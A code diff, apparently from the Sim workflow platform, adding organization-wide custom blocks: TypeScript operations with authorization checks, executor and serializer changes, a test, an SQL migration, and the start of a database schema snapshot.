+): Promise { + const organizationId = await eligibleOrgForWorkspace(workspaceId) + if (!organizationId) return [] + return getCustomBlockRowsForOrg(organizationId) +} + +/** + * The custom blocks (with live-derived input fields) for a workspace's org. Used + * by the copilot VFS to expose custom blocks to the agent. Returns `[]` when the + * workspace has no organization. + */ +export async function listCustomBlocksWithInputsForWorkspace( + workspaceId: string +): Promise { + const organizationId = await eligibleOrgForWorkspace(workspaceId) + if (!organizationId) return [] + return listCustomBlocksWithInputs(organizationId) +} + +/** + * Lightweight enabled-custom-block summaries for a workspace's org (type + name + + * description, no input derivation). Used by the copilot workspace-context markdown. + */ +export async function listCustomBlockSummariesForWorkspace( + workspaceId: string +): Promise> { + const organizationId = await eligibleOrgForWorkspace(workspaceId) + if (!organizationId) return [] + return db + .select({ + type: customBlock.type, + name: customBlock.name, + description: customBlock.description, + }) + .from(customBlock) + .where(and(eq(customBlock.organizationId, organizationId), eq(customBlock.enabled, true))) +} + +/** The org's custom blocks with live-derived input fields (client overlay + list API). */ +export async function listCustomBlocksWithInputs( + organizationId: string +): Promise { + const rows = await db + .select() + .from(customBlock) + .where(eq(customBlock.organizationId, organizationId)) + + return Promise.all( + rows.map(async (row) => ({ + id: row.id, + organizationId: row.organizationId, + workflowId: row.workflowId, + type: row.type, + name: row.name, + description: row.description, + iconUrl: row.iconUrl, + enabled: row.enabled, + inputFields: row.enabled ? await deriveInputFields(row.workflowId) : [], + exposedOutputs: row.outputs ?? [], + })) + ) +} + +/** Fetch a single custom block row by id. */ +export async function getCustomBlockById(id: string) { + const [row] = await db.select().from(customBlock).where(eq(customBlock.id, id)).limit(1) + return row ?? null +} + +/** + * Org + source-workspace context for manage (edit/delete) authorization. Managing + * a block is gated on admin of its SOURCE workflow's workspace — the same workspace + * publishing required — so only an admin of the workspace that owns the workflow + * (or an org admin, who holds admin on every org workspace) can change its outputs. + * `null` when no block matches. + */ +export async function getCustomBlockManageContext( + id: string +): Promise<{ organizationId: string; sourceWorkspaceId: string | null } | null> { + const [row] = await db + .select({ + organizationId: customBlock.organizationId, + sourceWorkspaceId: workflow.workspaceId, + }) + .from(customBlock) + .innerJoin(workflow, eq(workflow.id, customBlock.workflowId)) + .where(eq(customBlock.id, id)) + .limit(1) + return row ?? null +} + +/** + * Execution authority for a custom block, resolved by its block type. Used by the + * executor to run the bound workflow under the invocation-boundary model: the + * consumer needs no permission on the source workflow. Returns the authoritative + * `workflowId` from the DB (never trust a serialized value) plus the source + * workflow's **owner** (`workflow.userId`) — the same identity a normal deployed + * API/schedule/webhook run executes as. Using the owner (not the publisher) means + * the owner always has read on their own workflow, and owner deletion cascade- + * deletes the workflow → the custom_block row, so there is never an orphaned block. + * `null` when no enabled block matches the type. + */ +export async function getCustomBlockAuthority( + type: string, + consumerWorkspaceId: string | undefined +): Promise<{ + workflowId: string + organizationId: string + ownerUserId: string + exposedOutputs: CustomBlockOutput[] +} | null> { + // Scope resolution to the consumer's org: `(organizationId, type)` is the unique + // key, so without the org filter a `custom_block_*` type smuggled in from another + // org's serialized workflow could resolve and run that org's block. + if (!consumerWorkspaceId) return null + // Match `getCustomBlockRowsForWorkspace` (which builds the overlay) — include + // archived so a workspace that can serialize a custom block can also execute it, + // instead of failing mid-run with "no longer available". + const consumerWs = await getWorkspaceWithOwner(consumerWorkspaceId, { includeArchived: true }) + if (!consumerWs?.organizationId) return null + + const [row] = await db + .select({ + workflowId: customBlock.workflowId, + organizationId: customBlock.organizationId, + enabled: customBlock.enabled, + outputs: customBlock.outputs, + ownerUserId: workflow.userId, + }) + .from(customBlock) + .innerJoin(workflow, eq(workflow.id, customBlock.workflowId)) + .where( + and(eq(customBlock.type, type), eq(customBlock.organizationId, consumerWs.organizationId)) + ) + .limit(1) + + if (!row || !row.enabled) return null + return { + workflowId: row.workflowId, + organizationId: row.organizationId, + ownerUserId: row.ownerUserId, + exposedOutputs: row.outputs ?? [], + } +} + +export class CustomBlockValidationError extends Error { + constructor(message: string) { + super(message) + this.name = 'CustomBlockValidationError' + } +} + +/** + * Publish a deployed workflow as an org-wide custom block. The source workflow + * must live in `workspaceId` — the workspace the caller was verified to admin — + * so a caller cannot publish another workspace's workflow (which then runs under + * that workspace owner's credentials and returns caller-chosen outputs). Also + * validates the workspace belongs to `organizationId` and the workflow is + * deployed, then inserts the row. + */ +export async function publishCustomBlock(params: { + organizationId: string + workspaceId: string + workflowId: string + userId: string + name: string + description: string + iconUrl?: string + exposedOutputs?: CustomBlockOutput[] +}): Promise { + const { + organizationId, + workspaceId, + workflowId, + userId, + name, + description, + iconUrl, + exposedOutputs, + } = params + + const [wf] = await db + .select({ id: workflow.id, workspaceId: workflow.workspaceId, isDeployed: workflow.isDeployed }) + .from(workflow) + .where(eq(workflow.id, workflowId)) + .limit(1) + + if (!wf) throw new CustomBlockValidationError('Workflow not found') + if (!wf.isDeployed) { + throw new CustomBlockValidationError('Workflow must be deployed before publishing as a block') + } + + // Authorization boundary: the caller proved admin on `workspaceId` (route), so + // the source workflow must actually live there. Without this a workspace admin + // could publish a different workspace's workflow in the same org. + if (wf.workspaceId !== workspaceId) { + throw new CustomBlockValidationError('You can only publish a workflow from its own workspace') + } + + const ws = wf.workspaceId ? await getWorkspaceWithOwner(wf.workspaceId) : null + if (!ws?.organizationId || ws.organizationId !== organizationId) { + throw new CustomBlockValidationError('Workflow does not belong to this organization') + } + + // One block per workflow: the (org, type) unique index doesn't prevent the same + // workflow being published under a fresh `custom_block_*` type, so guard here. + const [existing] = await db + .select({ id: customBlock.id }) + .from(customBlock) + .where(eq(customBlock.workflowId, workflowId)) + .limit(1) + if (existing) { + throw new CustomBlockValidationError('This workflow is already published as a block') + } + + const id = generateId() + const type = `${CUSTOM_BLOCK_TYPE_PREFIX}${generateShortId(10).toLowerCase()}` + const now = new Date() + + await db.insert(customBlock).values({ + id, + organizationId, + workflowId, + type, + name, + description, + iconUrl: iconUrl ?? null, + outputs: exposedOutputs ?? [], + enabled: true, + createdBy: userId, + createdAt: now, + updatedAt: now, + }) + + logger.info('Published custom block', { id, type, organizationId, workflowId }) + + return { + id, + organizationId, + workflowId, + type, + name, + description, + iconUrl: iconUrl ?? null, + enabled: true, + inputFields: await deriveInputFields(workflowId), + exposedOutputs: exposedOutputs ?? [], + } +} + +/** + * Update a custom block's presentation/enabled state. `iconUrl`: a URL + * sets/replaces the icon, `null` clears it (default icon), `undefined` leaves it + * unchanged. + */ +export async function updateCustomBlock( + id: string, + updates: { + name?: string + description?: string + enabled?: boolean + iconUrl?: string | null + exposedOutputs?: CustomBlockOutput[] + } +): Promise { + const patch: Partial = { updatedAt: new Date() } + if (updates.name !== undefined) patch.name = updates.name + if (updates.description !== undefined) patch.description = updates.description + if (updates.enabled !== undefined) patch.enabled = updates.enabled + if (updates.exposedOutputs !== undefined) patch.outputs = updates.exposedOutputs + if (updates.iconUrl !== undefined) patch.iconUrl = updates.iconUrl + + await db.update(customBlock).set(patch).where(eq(customBlock.id, id)) +} + +/** Unpublish (hard-delete) a custom block. */ +export async function deleteCustomBlock(id: string): Promise { + await db.delete(customBlock).where(eq(customBlock.id, id)) +} diff --git a/apps/sim/lib/workflows/executor/execution-core.test.ts b/apps/sim/lib/workflows/executor/execution-core.test.ts index 58fbca16d58..d96b26ab05f 100644 --- a/apps/sim/lib/workflows/executor/execution-core.test.ts +++ b/apps/sim/lib/workflows/executor/execution-core.test.ts @@ -59,6 +59,10 @@ vi.mock('@/lib/logs/execution/trace-spans/trace-spans', () => ({ vi.mock('@/lib/workflows/persistence/utils', () => workflowsPersistenceUtilsMock) +vi.mock('@/lib/workflows/custom-blocks/operations', () => ({ + getCustomBlockRowsForWorkspace: vi.fn().mockResolvedValue([]), +})) + vi.mock('@sim/workflow-persistence/subblocks', () => ({ mergeSubblockStateWithValues: mergeSubblockStateWithValuesMock, })) diff --git a/apps/sim/lib/workflows/executor/execution-core.ts b/apps/sim/lib/workflows/executor/execution-core.ts index 07252f30b93..a4b2abd2121 100644 --- a/apps/sim/lib/workflows/executor/execution-core.ts +++ b/apps/sim/lib/workflows/executor/execution-core.ts @@ -21,12 +21,14 @@ import type { LoggingSession } from '@/lib/logs/execution/logging-session' import { redactLargeValueRefsInValue } from '@/lib/logs/execution/pii-large-values' import { redactObjectStrings } from '@/lib/logs/execution/pii-redaction' import { buildTraceSpans } from '@/lib/logs/execution/trace-spans/trace-spans' +import { getCustomBlockRowsForWorkspace } from '@/lib/workflows/custom-blocks/operations' import { loadDeployedWorkflowState, loadWorkflowFromNormalizedTables, } from '@/lib/workflows/persistence/utils' import { TriggerUtils } from '@/lib/workflows/triggers/triggers' import { updateWorkflowRunCounts } from '@/lib/workflows/utils' +import { withCustomBlockOverlay } from '@/blocks/custom/server-overlay' import { Executor } from '@/executor' import type { ExecutionSnapshot } from '@/executor/execution/snapshot' import type { @@ -310,8 +312,23 @@ async function finalizeExecutionError(params: { } } +/** + * Establish the custom-block registry overlay for the execution's organization, + * then run the core. Wrapping here — the shared choke point for the sync route and + * the background job — puts `custom_block_*` types in scope for serialization, + * execution, and any nested child-workflow serialization (ALS propagates to the + * whole async subtree). + */ export async function executeWorkflowCore( options: ExecuteWorkflowCoreOptions +): Promise { + const workspaceId = options.snapshot.metadata.workspaceId + const rows = workspaceId ? await getCustomBlockRowsForWorkspace(workspaceId) : [] + return withCustomBlockOverlay(rows, () => executeWorkflowCoreImpl(options)) +} + +async function executeWorkflowCoreImpl( + options: ExecuteWorkflowCoreOptions ): Promise { const { snapshot, diff --git a/apps/sim/lib/workflows/input-format.test.ts b/apps/sim/lib/workflows/input-format.test.ts index d948e5f5bdc..7d2b42249c1 100644 --- a/apps/sim/lib/workflows/input-format.test.ts +++ b/apps/sim/lib/workflows/input-format.test.ts @@ -45,6 +45,26 @@ describe('extractInputFieldsFromBlocks', () => { ]) }) + it.concurrent('preserves a stable field id when present, omits it when absent', () => { + const blocks = { + 'trigger-1': { + type: 'start_trigger', + subBlocks: { + inputFormat: { + value: [ + { id: 'fld-1', name: 'query', type: 'string' }, + { name: 'count', type: 'number' }, + ], + }, + }, + }, + } + expect(extractInputFieldsFromBlocks(blocks)).toEqual([ + { id: 'fld-1', name: 'query', type: 'string' }, + { name: 'count', type: 'number' }, + ]) + }) + it.concurrent('extracts fields from input_trigger block', () => { const blocks = { 'trigger-1': { diff --git a/apps/sim/lib/workflows/input-format.ts b/apps/sim/lib/workflows/input-format.ts index 8969959dbaa..4262c4ef80e 100644 --- a/apps/sim/lib/workflows/input-format.ts +++ b/apps/sim/lib/workflows/input-format.ts @@ -8,6 +8,12 @@ import type { UserFile } from '@/executor/types' * Simplified input field representation for workflow input mapping */ export interface WorkflowInputField { + /** + * Stable per-field id seeded at field creation (`InputFormatFieldState.id`). + * Custom blocks anchor their input sub-block on this so renaming a field + * never orphans a consumer's placed value. Absent on legacy fields. + */ + id?: string name: string type: string description?: string @@ -165,7 +171,9 @@ export function extractInputFieldsFromBlocks( if (Array.isArray(inputFormat)) { return inputFormat .filter( - (field: unknown): field is { name: string; type?: string; description?: string } => + ( + field: unknown + ): field is { id?: unknown; name: string; type?: string; description?: string } => typeof field === 'object' && field !== null && 'name' in field && @@ -173,6 +181,7 @@ export function extractInputFieldsFromBlocks( (field as { name: string }).name.trim() !== '' ) .map((field) => ({ + ...(typeof field.id === 'string' && field.id ? { id: field.id } : {}), name: field.name, type: field.type || 'string', ...(field.description && { description: field.description }), @@ -186,7 +195,9 @@ export function extractInputFieldsFromBlocks( if (Array.isArray(legacyFormat)) { return legacyFormat .filter( - (field: unknown): field is { name: string; type?: string; description?: string } => + ( + field: unknown + ): field is { id?: unknown; name: string; type?: string; description?: string } => typeof field === 'object' && field !== null && 'name' in field && @@ -194,6 +205,7 @@ export function extractInputFieldsFromBlocks( (field as { name: string }).name.trim() !== '' ) .map((field) => ({ + ...(typeof field.id === 'string' && field.id ? { id: field.id } : {}), name: field.name, type: field.type || 'string', ...(field.description && { description: field.description }), diff --git a/apps/sim/serializer/index.ts b/apps/sim/serializer/index.ts index e97934c7954..049d7470d09 100644 --- a/apps/sim/serializer/index.ts +++ b/apps/sim/serializer/index.ts @@ -15,6 +15,7 @@ import { resolveCanonicalMode, } from '@/lib/workflows/subblocks/visibility' import { getBlock } from '@/blocks' +import { isCustomBlockType } from '@/blocks/custom/build-config' import type { SubBlockConfig } from '@/blocks/types' import type { SerializedBlock, SerializedWorkflow } from '@/serializer/types' import type { BlockState, Loop, Parallel } from '@/stores/workflows/workflow/types' @@ -444,6 +445,7 @@ export function extractBlockParams(block: BlockState): Record { const canonicalModeOverrides = block.data?.canonicalModes const isStarterBlock = block.type === 'starter' const isAgentBlock = block.type === 'agent' + const isCustomBlock = isCustomBlockType(block.type) const isTriggerContext = block.triggerMode ?? false const isTriggerCategory = blockConfig.category === 'triggers' const canonicalIndex = buildCanonicalIndex(blockConfig.subBlocks) @@ -475,10 +477,20 @@ export function extractBlockParams(block: BlockState): Record { ) ) + const isCustomBlockInputField = isCustomBlock && matchingConfigs.length === 0 + + // A custom block's `workflowId`/`inputMapping` are computed (value-fn) sub-blocks, + // not user data. The canvas persists their last-computed value, which goes stale + // as input fields change — so never carry the stored value forward; let the value + // fn in the pass below recompute them from the current field params. + const isCustomBlockWiring = isCustomBlock && (id === 'workflowId' || id === 'inputMapping') + if ( - (matchingConfigs.length > 0 && shouldInclude) || - hasStarterInputFormatValues || - isLegacyAgentField + !isCustomBlockWiring && + ((matchingConfigs.length > 0 && shouldInclude) || + hasStarterInputFormatValues || + isLegacyAgentField || + isCustomBlockInputField) ) { params[id] = subBlock.value } diff --git a/apps/sim/stores/panel/toolbar/store.ts b/apps/sim/stores/panel/toolbar/store.ts index 73a887394ab..b2bd6ad428e 100644 --- a/apps/sim/stores/panel/toolbar/store.ts +++ b/apps/sim/stores/panel/toolbar/store.ts @@ -1,7 +1,7 @@ import { create } from 'zustand' import { devtools, persist } from 'zustand/middleware' -export type ToolbarSectionKey = 'triggers' | 'blocks' | 'tools' +export type ToolbarSectionKey = 'triggers' | 'blocks' | 'customBlocks' | 'tools' interface ToolbarState { expandedSections: Record @@ -9,7 +9,7 @@ interface ToolbarState { } const initialState: Pick = { - expandedSections: { triggers: true, blocks: true, tools: true }, + expandedSections: { triggers: true, blocks: true, customBlocks: true, tools: true }, } export const useToolbarStore = create()( diff --git a/packages/db/migrations/0254_custom_block.sql b/packages/db/migrations/0254_custom_block.sql new file mode 100644 index 00000000000..5a850577b59 --- /dev/null +++ b/packages/db/migrations/0254_custom_block.sql @@ -0,0 +1,21 @@ +CREATE TABLE "custom_block" ( + "id" text PRIMARY KEY NOT NULL, + "organization_id" text NOT NULL, + "workflow_id" text NOT NULL, + "type" text NOT NULL, + "name" text NOT NULL, + "description" text DEFAULT '' NOT NULL, + "icon_url" text, + "outputs" json, + "enabled" boolean DEFAULT true NOT NULL, + "created_by" text, + "created_at" timestamp DEFAULT now() NOT NULL, + "updated_at" timestamp DEFAULT now() NOT NULL +); +--> statement-breakpoint +ALTER TABLE "custom_block" ADD CONSTRAINT "custom_block_organization_id_organization_id_fk" FOREIGN KEY ("organization_id") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint +ALTER TABLE "custom_block" ADD CONSTRAINT "custom_block_workflow_id_workflow_id_fk" FOREIGN KEY ("workflow_id") REFERENCES "public"."workflow"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint +ALTER TABLE "custom_block" ADD CONSTRAINT "custom_block_created_by_user_id_fk" FOREIGN KEY ("created_by") REFERENCES "public"."user"("id") ON DELETE set null ON UPDATE no action;--> statement-breakpoint +CREATE INDEX "custom_block_organization_id_idx" ON "custom_block" USING btree ("organization_id");--> statement-breakpoint +CREATE INDEX "custom_block_workflow_id_idx" ON "custom_block" USING btree ("workflow_id");--> statement-breakpoint +CREATE UNIQUE INDEX "custom_block_organization_type_unique" ON "custom_block" USING btree ("organization_id","type"); \ No newline at end of file diff --git a/packages/db/migrations/meta/0254_snapshot.json b/packages/db/migrations/meta/0254_snapshot.json new file mode 100644 index 00000000000..6d7153bbc02 --- /dev/null +++ b/packages/db/migrations/meta/0254_snapshot.json @@ -0,0 +1,17171 @@ +{ + "id": "1439d1e8-9a5e-4002-a68a-a9bbdd22290f", + "prevId": "5fb249c9-5269-456d-83bd-7a2d1bac7a22", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.academy_certificate": { + "name": "academy_certificate", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "course_id": { + "name": "course_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "academy_cert_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "issued_at": { + "name": "issued_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "certificate_number": { + "name": "certificate_number", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "academy_certificate_user_id_idx": { + "name": "academy_certificate_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "academy_certificate_course_id_idx": { + "name": "academy_certificate_course_id_idx", + "columns": [ + { + "expression": "course_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "academy_certificate_user_course_unique": { + "name": "academy_certificate_user_course_unique", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "course_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "academy_certificate_number_idx": { + "name": "academy_certificate_number_idx", + "columns": [ + { + "expression": "certificate_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "academy_certificate_status_idx": { + "name": "academy_certificate_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "academy_certificate_user_id_user_id_fk": { + "name": "academy_certificate_user_id_user_id_fk", + "tableFrom": "academy_certificate", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "academy_certificate_certificate_number_unique": { + "name": "academy_certificate_certificate_number_unique", + "nullsNotDistinct": false, + "columns": ["certificate_number"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.account": { + "name": "account", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "account_id": { + "name": "account_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "access_token": { + "name": "access_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "refresh_token": { + "name": "refresh_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id_token": { + "name": "id_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "access_token_expires_at": { + "name": "access_token_expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "refresh_token_expires_at": { + "name": "refresh_token_expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "password": { + "name": "password", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "account_user_id_idx": { + "name": "account_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_account_on_account_id_provider_id": { + "name": "idx_account_on_account_id_provider_id", + "columns": [ + { + "expression": "account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "account_user_id_user_id_fk": { + "name": "account_user_id_user_id_fk", + "tableFrom": "account", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.api_key": { + "name": "api_key", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key_hash": { + "name": "key_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'personal'" + }, + "last_used": { + "name": "last_used", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "api_key_workspace_type_idx": { + "name": "api_key_workspace_type_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "api_key_user_type_idx": { + "name": "api_key_user_type_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "api_key_key_hash_idx": { + "name": "api_key_key_hash_idx", + "columns": [ + { + "expression": "key_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "api_key_user_id_user_id_fk": { + "name": "api_key_user_id_user_id_fk", + "tableFrom": "api_key", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "api_key_workspace_id_workspace_id_fk": { + "name": "api_key_workspace_id_workspace_id_fk", + "tableFrom": "api_key", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "api_key_created_by_user_id_fk": { + "name": "api_key_created_by_user_id_fk", + "tableFrom": "api_key", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "api_key_key_unique": { + "name": "api_key_key_unique", + "nullsNotDistinct": false, + "columns": ["key"] + } + }, + "policies": {}, + "checkConstraints": { + "workspace_type_check": { + "name": "workspace_type_check", + "value": "(type = 'workspace' AND workspace_id IS NOT NULL) OR (type = 'personal' AND workspace_id IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.async_jobs": { + "name": "async_jobs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "run_at": { + "name": "run_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "max_attempts": { + "name": "max_attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 3 + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "output": { + "name": "output", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "async_jobs_status_started_at_idx": { + "name": "async_jobs_status_started_at_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "async_jobs_status_completed_at_idx": { + "name": "async_jobs_status_completed_at_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "completed_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "async_jobs_schedule_pending_run_at_idx": { + "name": "async_jobs_schedule_pending_run_at_idx", + "columns": [ + { + "expression": "run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"async_jobs\".\"type\" = 'schedule-execution' AND \"async_jobs\".\"status\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "async_jobs_schedule_processing_started_at_idx": { + "name": "async_jobs_schedule_processing_started_at_idx", + "columns": [ + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"async_jobs\".\"type\" = 'schedule-execution' AND \"async_jobs\".\"status\" = 'processing'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.audit_log": { + "name": "audit_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_name": { + "name": "actor_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_email": { + "name": "actor_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_name": { + "name": "resource_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "ip_address": { + "name": "ip_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "audit_log_workspace_created_idx": { + "name": "audit_log_workspace_created_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_log_workspace_created_at_id_idx": { + "name": "audit_log_workspace_created_at_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "date_trunc('milliseconds', \"created_at\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + 